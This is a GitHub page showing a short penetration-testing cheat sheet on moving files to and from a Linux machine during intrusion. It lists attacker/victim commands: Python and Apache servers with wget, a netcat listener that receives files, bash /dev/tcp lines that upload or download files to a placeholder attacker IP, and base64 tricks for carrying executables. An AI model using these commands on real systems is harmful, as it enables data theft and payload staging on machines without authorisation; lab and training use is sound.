Skip to content

Latest commit

 

History

History
51 lines (39 loc) · 760 Bytes

1.7-Linux-File-Transfer.md

File metadata and controls

51 lines (39 loc) · 760 Bytes

Pre-Intrusion phase (Linux)

File Transfer

Python HTTP Server

# attacker send
python -m SimpleHTTPServer
# client receive
wget <ip>:8000/filename

Apache

# attacker send
cp file.txt /var/www/html
service apache2 start
# client receive
wget http://<ip>/file

Netcat

# attacker receive
nc -lvnp 4444 > file
# client send
nc <rhost> 4444 < file

Bash

# file upload
bash -c 'cat $LFILE > /dev/tcp/<your_ip>/4444'
# file download
bash -c 'cat < /dev/tcp/<your_ip>/4444 > file.txt'

Extra

To send the executable file to your machine

# decode content of file
base64 file
# copy the output and recreate
base64 -d executable.txt > file